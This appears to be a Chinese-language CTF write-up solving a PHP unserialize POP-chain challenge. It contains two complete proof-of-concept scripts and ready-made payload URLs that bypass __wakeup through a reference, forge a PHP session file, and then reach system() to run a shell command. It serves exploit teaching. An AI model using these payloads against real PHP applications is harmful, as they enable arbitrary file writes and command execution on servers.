题目给了源码和phpinfo()

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }
    
}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);

题目思路：

file_put_contents($this->man,base64_decode($this->woman));

和

class end{ public function love(){ ($this->func)(); } }

一个写文件，一个session_start()

配合

分两步走

1、通过自己写session文件

2、然后读取，从而执行命令

第一步：

写session文件

链子:b--->a--->xk

poc

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }

}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);
}

$ctf = new b();
$ctf ->a = new a();
$ctf ->a -> b = new xk();
$ctf ->c = &$ctf->b;
//上面是通过引用变量绕过wakeup中的this->$c="no"，因为wakeup要让c是一个对象，才能利用这句$tmp = $this->c->name;跳转
//下面是session文件的路径以及写入的内容
$ctf-> a -> b -> man = "/var/lib/php/session/sess_1";    //phpinfo获取
$ctf-> a -> b -> woman ="bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";//  name|s:14:"your are good!";
                                                            //phpinfo获取处理器为php
echo serialize($ctf);

payload

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:6;}

第二步：

通过读取session文件

绕过if($$tmp['name']=='your are good!')

然后就有system了

poc

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }

}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);
}


$ctfer = new b();
$ctfer ->a = new a();
$ctfer ->a -> b = new end();
$ctfer ->c = &$ctfer->b;
$ctfer ->a -> b-> func ='session_start';
echo serialize($ctfer);

payload

url

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*

test=_SESSION   --->  $_SESSION  读取序列化文件数据，也就是刚才第一步写入的  your are good!

cookie

PHPSESSID=1

因为前面第一步的时候

$ctf-> a -> b -> man = "/var/lib/php/session/sess_1";

这一句我们定义的session文件名是1